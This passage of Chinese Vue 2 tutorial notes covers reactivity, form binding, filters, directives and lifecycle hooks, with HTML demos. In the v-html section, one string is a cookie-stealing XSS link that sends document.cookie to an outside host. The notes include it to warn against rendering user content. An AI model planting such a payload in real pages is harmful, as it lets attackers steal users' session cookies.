//即不为0,0在js中就是false
//sort排序函数,两个参数,前减后就是升序(对象的某个排序标准的属性),后减前就是降序
arr.sort((p1, p2) => {
return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age;
});
}
return arr; //如果是原顺序
},
},
});
</script>
</body>
效果:
1.13.5. Vue 数据监视的原理
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Vue数据监视</title>
<style>
button {
margin-top: 10px;
}
</style>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>学生信息</h1>
<button @click="student.age++">年龄+1岁</button><br />
<button @click="addSex">添加性别属性,默认值:男</button> <br />
<button @click="addFriend">在列表首位添加一个朋友</button> <br />
<button @click="updateFirstFriendName">
修改第一个朋友的名字为:张三</button
><br />
<button @click="addHobby">添加一个爱好</button> <br />
<button @click="updateHobby">修改第一个爱好为:开车</button><br />
<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br />
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<h3 v-if="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
</ul>
<h3>朋友们:</h3>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: "#root",
data: {
student: {
name: "tom",
age: 18,
hobby: ["抽烟", "喝酒", "烫头"], //数组
friends: [
{ name: "jerry", age: 35 },
{ name: "tony", age: 36 },
],
},
},
methods: {
addSex() {
//Vue.set(this.student,'sex','男')
this.$set(this.student, "sex", "男");
},
addFriend() {
this.student.friends.unshift({ name: "jack", age: 70 });
},
updateFirstFriendName() {
this.student.friends[0].name = "张三";
},
addHobby() {
this.student.hobby.push("学习");
},
updateHobby() {
this.student.hobby.splice(0, 1, "开车");
},
removeSmoke() {
this.student.hobby = this.student.hobby.filter((h) => {
return h !== "抽烟"; //过滤出了一个不含有抽烟的数组,进行替换,非常巧妙
});
},
},
});
</script>
</html>
效果:
总结:
Vue 监视数据的原理:
- vue 会监视 data 中所有层次的数据
- ==如何监测对象中的数据?==
通过 setter 方法实现监视,且要在 new Vue 时就传入要监测的数据
响应式 reactive:只要做了改变,紧接着做响应。
即 vue 对象中的属性只要改变了就会调用 set 方法,就会引起模板的重新解析(生成虚拟 dom,进行比较,生成真实 dom),就会给页面重新赋值,就会引起页面数据的变化!引起了一系列的动作!
对象中后追加的属性(例如在控制台中,或者在其他代码逻辑中动态添加),Vue 默认不做响应式处理(即不会添加 get 和 set 方法)
如需给后添加的属性做响应式,请使用如下 API:
- Vue.set(target,propertyName/index,value)
- vm.$set(target,propertyName/index,value)
- target 是被添加属性的对象,但是 target 不允许是 vm,也不允许是 vm.data
- 例:在控制台中:Vue.set(vm._data.student,'sex','男')或者 Vue.set(vm.student,'sex','男')
- ==如何监测数组中的数据?==
数组中的元素不会被添加 get 和 set 方法,而是直接用原生操作数组的 api 进行修改(但是实际上我们调用的 api 是被 vue 包装过的 api,里面第一步是调用原生 api,第二步是重新解析模板)!
通过包裹数组更新元素的方法实现,本质就是做了两件事:
调用原生对应的方法对数组进行更新(用索引赋值的方法行不通,vue 检测不到修改)
然后重新解析模板,进而更新页面
注:如果是数组中的对象,那么这个对象的属性是有 get 和 set 方法的,但是这个对象没有
- 在 Vue 修改数组中的某个元素一定要用如下方法:
使用这些 API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
没有去除某一项的 api
Vue.set() 或 vm.$set() 也可以
特别注意:Vue.set() 和 vm.$set() 不能给 vm 或 vm 的根数据对象(data 等) 添加属性!
1.14. 收集表单数据
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>收集表单数据</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<!--绑定提交事件,并且阻止默认的跳转行为-->
<form @submit.prevent="demo">
<!--现在的表单都不需要action属性-->
<label for="demo">账号:</label>
<!--点击账号就可以跳转到输入框-->
<input type="text" v-model.trim="userInfo.account" id="demo" />
<br /><br />
密码:<input type="password" v-model="userInfo.password" /> <br /><br />
<!--type="number"控制用户只能输入数字,v-model.number控制输入的内容由字符串类型变成数字类型,一般要同时使用!!!-->
年龄:<input type="number" v-model.number="userInfo.age" /> <br /><br />
性别:<!--指定name属性为一样的,表示他俩是一组的,才可以单选-->
男<input type="radio" name="sex" v-model="userInfo.sex" value="male" />
女<input
type="radio"
name="sex"
v-model="userInfo.sex"
value="female" />
<br /><br />
爱好: 学习<input
type="checkbox"
v-model="userInfo.hobby"
value="study" />
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game" />
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat" />
<br /><br />
所属校区:
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br /><br />
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea> <br /><br />
<input type="checkbox" v-model="userInfo.agree" />阅读并接受<a
href="http://www.atguigu.com"
>《用户协议》</a
>
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
userInfo: {
account: "",
password: "",
age: 0,
sex: "female", //默认为女
hobby: [],
city: "beijing",
other: "",
agree: "",
},
},
methods: {
demo() {
console.log(JSON.stringify(this.userInfo)); //JSON.stringify可以把对象转换成json格式,尽量不用this._data
},
},
});
</script>
</html>
效果:
总结:
收集表单数据:
若:,则 v-model 收集的是 value 值,用户输入的内容就是 value 值
若:,则v-model 收集的是 value 值,且必须要给标签配置 value 属性(因为这个没法让用户输入内容),如果没有配置那么收集到的就是空
若:
没有配置 value 属性,那么收集的是 checked 属性(勾选 or 未勾选,是布尔值),并且就算只勾选了一个,由于双向绑定的机制,会导致所有的都被勾选上
配置了 value 属性:
- v-model 的初始值是非数组,那么收集的就是 checked(勾选 or 未勾选,是布尔值)——>用于当作单选框来用(比如同意用户协议)
- v-model 的初始值是数组,那么收集的就是 value 组成的数组(勾选一个,就添加一个)——>用于当作复选框来用
若: 配合
- 则 select 标签上面的 v-model 收集的是 value 值,且必须要给 option 标签配置 value 属性
v-model 的三个修饰符:
- lazy:失去焦点后再收集数据(可能用户需要输入很长,我们可以等用户输入完了再同步到 data 中)
- number:输入字符串转为有效的数字(因为表单只能接收字符串,但是我们 data 里面的属性可能是想要数字类型的,因为后端可能需要的不是字符串,比如年龄)
- trim:过滤输入的首尾空格
但是一般过滤工作是用正则表达式的
1.15. 过滤器
第三方 js 库:https://www.bootcdn.cn/ 在这个网站可以查到
关于时间的:moment.js,day.js(轻量级)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>过滤器</title>
<script type="text/javascript" src="../js/vue.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
</head>
<body>
<div id="root">
<h2>时间</h2>
<h3>当前时间戳:{{time}}</h3>
<!--把time给timeFormater(),再用返回值替换掉整个{{}}-->
<h3>转换后时间:{{time | timeFormater }}</h3>
<h3>转换后时间:{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3>
<h3>截取年月日:{{time | timeFormater() | mySlice}}</h3>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
//全局过滤器:可以给别的Vue实例用
Vue.filter("mySlice", function (value) {
return value.slice(0, 4); //字符串截取
});
new Vue({
el: "#root",
data: {
time: 1626750147900,
},
//局部过滤器
filters: {
//本质就是函数,和methods没什么太大区别,只是调用的时候用管道符 |
//value为时间戳,.format方法就是格式化!
timeFormater(value, str = "YYYY年MM月DD日 HH:mm:ss") {
//str要有默认值
return dayjs(value).format(str);
},
},
});
</script>
</html>
效果:
总结:
过滤器:
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:
使用过滤器:0 或 v-bind:自定义属性 = "xxx | 过滤器名"(这么用的很少)
备注:
- 过滤器可以接收额外参数,多个过滤器也可以串联
- 并没有改变原本的数据,而是产生新的对应的数据
1.16. 内置指令
1.16.1. v-text 指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-text指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "JOJO",
str: "<h3>你好啊!</h3>",
},
});
</script>
</html>
效果:
总结:
之前学过的指令:
v-bind:单向绑定解析表达式,可简写为:
v-model:双向数据绑定
v-for:遍历数组 / 对象 / 字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存存在)
v-else:条件渲染(动态控制节点是否存存在)
v-text 指令:
作用:向其所在的节点中渲染文本内容
与插值语法的区别:v-text 会替换掉节点中的所有内容(原有的内容是什么都会被覆盖),则不会。
其实 v-text=""和和:value=""基本相等
用的是最多的,因为最灵活
1.16.2. v-html 指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div>Hello,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。
new Vue({
el: "#root",
data: {
name: "JOJO",
str: "<h3>你好啊!</h3>",
str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
},
});
</script>
</html>
效果:
总结:
v-html 指令:
- 作用:向指定节点中渲染包含 html 结构的内容
- 与插值语法的区别:
v-html 会替换掉节点中所有的内容,则不会
v-html 可以识别 html 结构
严重注意:v-html 有安全性问题!!!
在网站上动态渲染任意 HTML 是非常危险的,容易导致 XSS 攻击
一定要在可信的内容上使用 v-html,永远不要用在用户提交的内容上!!!
1.16.3. v-cloak 指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak] {
/* []是属性选择器,选中所有带有v-clock属性的元素 */
display: none; /*隐藏默认内容*/
}
</style>
</head>
<body>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<!--js一般是放在这里的-->
<script type="text/javascript" src="../js/vue.js"></script>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "尚硅谷",
},
});
</script>
</html>
效果:
总结:
v-cloak 指令(没有值):
本来没有这个属性,由我们自己添加,本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删掉所有 v-cloak 属性(从而让样式失效,显示渲染的数据)
使用 css 属性选择器配合 v-cloak 可以解决网速慢时(js 阻塞)页面展示出的问题,转而显示空白
1.16.4. v-once 指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-once>n初始化的值是:{{n}}</h2>
<h2>n现在的值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
n: 1,
},
});
</script>
</html>
效果:
总结:
v-once 指令:
- v-once 所在节点在初次动态渲染后,就视为静态内容了
- 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能
1.16.5. v-pre 指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
n: 1,
},
});
</script>
</html>
效果:
总结:
v-pre 指令:
- 跳过其所在节点的编译过程(因为这个节点是静态的,不可能改变)。
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
1.17. 自定义指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<!--
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
-->
<body>
<div id="root">
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n" />
<!--等价于:<input type="text" v-bind:value="n" autofocus> -->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
n: 1,
},
directives: {
//定义指令
// big函数何时会被调用?
// 1.指令与元素成功绑定时(一上来 刚加载时,但是此时还没有放入页面呢!)
// 2.指令所在的模板被重新解析时(造成模板重新解析的原因可能有很多)
big(element, binding) {
//element是指令所位于的真实dom;binding是绑定关系对象,里面有="value"的那个值,用.value可以取到
console.log("big", this); //注意此处的this是window
element.innerText = binding.value * 10; //扩大10倍后再作为文本
//element.innerText可以指定文本内容
},
fbind: {
//和v-bind类似,但是可以让其所绑定的input元素默认获取焦点
//指令与元素成功绑定时(一上来 刚加载时)
bind(element, binding) {
//默认有
element.value = binding.value;
},
//指令所在元素被插入页面时(只有已经放到页面里面了,才能获取焦点)
inserted(element, binding) {
//默认没有
element.focus();
},
//指令所在的模板被重新解析时
update(element, binding) {
//默认有
element.value = binding.value;
},
},
},
});
</script>
</html>
效果:
总结:
自定义指令定义语法:
- 局部指令:
new Vue({
directives: { 指令名: 配置对象 },
});
new Vue({
directives: { 指令名: 回调函数 },
});
- 全局指令:
Vue.directive(指令名,配置对象)
Vue.directive(指令名,回调函数)
例如:
Vue.directive("fbind", {
//指令与元素成功绑定时(一上来)
bind(element, binding) {
element.value = binding.value;
},
//指令所在元素被插入页面时
inserted(element, binding) {
element.focus();
},
//指令所在的模板被重新解析时
update(element, binding) {
element.value = binding.value;
},
});
- 配置对象中常用的 3 个回调函数:
bind(element,binding):指令与元素成功绑定时调用
inserted(element,binding):指令所在元素被插入页面时调用
update(element,binding):指令所在模板结构被重新解析时调用
- 备注:
指令定义时不加“v-”,但使用时要加“v-”
指令名如果是多个单词,要使用 kebab-case 命名方式(短横线隔开式),不要用 camelCase 命名(驼峰式)
new Vue({
el: "#root",
data: {
n: 1,
},
directives: {
"big-number"(element, binding) {
element.innerText = binding.value * 10;
},
},
});
1.18. Vue 生命周期
1.18.1. 引出生命周期:生命周期函数
mounted 是生命周期函数的其中一个,也是最常用的一个,生命周期函数也叫钩子函数
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-if="a">你好啊</h2>
<h2 :style="{opacity: opacity}">欢迎学习Vue</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
a: false,
opacity: 1,
},
mounted() {
//挂载:vue完成模版的解析并把初始的真实的dom元素挂载完毕后(放入页面后)就调用mounted函数
//只调用那一次
//也就是说mounted也是方法,只不过是特殊的,只在关键时刻触发一次的那种!
console.log("mounted", this);
setInterval(() => {
//setInterval是js中的定时器方法
this.opacity -= 0.01; //每隔一段时间让透明度减小一点(更透明)
if (this.opacity <= 0) this.opacity = 1;
}, 16);
},
});
</script>
</html>
效果:
总结:
生命周期:
- 又名:生命周期回调函数、生命周期函数、生命周期钩子
- 是什么:Vue 在关键时刻帮我们调用的一些特殊名称的函数
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
- 生命周期函数中的 this 指向是 vm 或 组件实例对象
1.18.2. 分析生命周期
红色框里面是生命周期函数
有三个大块的流程:挂载(只有第一次是挂载),更新,销毁(只有调用 vm.$destory 时)
注意:
1.在 beforeUpdate 这个生命周期时,页面和数据尚未保持同步!——>面试可能会问
因为这个时候还没有生成新的虚拟 dom,也就没有新的真实 dom(还没有完成 Model 数据——>View 视图的更新)
2.在 beforeDestroy 这个生命周期时,可以修改 data 数据,也可以调用函数,但是造成的任何变化都不会再触发更新了(这是一个特例时期)
本来每次数据变化时都会触发 vue 的更新操作,即重新加载
3.created 创建的不是 vm,而是初始化数据监测和数据代理
4.一共有四对生命周期函数
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>分析生命周期</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-text="n"></h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
<button @click="bye">点我销毁vm</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
//如果el:'#root'挂载节点里面没有内容,那么解析的就是template里面的内容!但是我们一般不写在这里,而是写在上面的<div id="root"></div>中
//注意template最外层必须是一个父节点,这个父节点会直接替换掉<div id="root"></div>,而不是填充进去
// template:`
// <div>
// <h2>当前的n值是:{{n}}</h2>
// <button @click="add">点我n+1</button>
// </div>
// `,
data: {
n: 1,
},
methods: {
add() {
console.log("add");
this.n++;
},
bye() {
console.log("bye");
this.$destroy();
},
},
watch: {
n() {
console.log("n变了");
},
},
beforeCreate() {
console.log("beforeCreate");
},
created() {
console.log("created");
},
beforeMount() {
console.log("beforeMount");
},
mounted() {
console.log("mounted");
},
beforeUpdate() {
console.log("beforeUpdate");
},
updated() {
console.log("updated");
},
beforeDestroy() {
console.log("beforeDestroy");
},
destroyed() {
console.log("destroyed");
},
});
</script>
</html>
效果:
1.18.3. 总结生命周期
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
opacity: 1,
},
methods: {
stop() {
this.$destroy();
},
},
mounted() {
console.log("mounted", this);
this.timer = setInterval(() => {
//这里定义变量,为timer(实际上就是定时器的id),技巧:用vm存变量,可以到别的函数中调用!
console.log("setInterval");
this.opacity -= 0.01;
if (this.opacity <= 0) this.opacity = 1;
}, 16);
},
beforeDestroy() {
clearInterval(this.timer); //清除定时器,使用变量timer
console.log("vm即将驾鹤西游了");
},
});
</script>
</html>
效果:
总结:
常用的生命周期钩子:
mounted:用于发送 ajax 请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
但是很多时候 ajax 请求也是写在 methods 里面的,要具体情况具体分析
beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作
注意:在钩子里面使用 methods 中的方法时,要加 this.才可以!
关于销毁 Vue 实例:
- 销毁后借助 Vue 开发者工具看不到任何信息
- 销毁后自定义事件(vue 的事件)会失效,但原生 DOM 事件(js 的事件)依然有效
- 一般不会在 beforeDestroy 操作数据,因为即便操作数据,也不会再触发更新流程了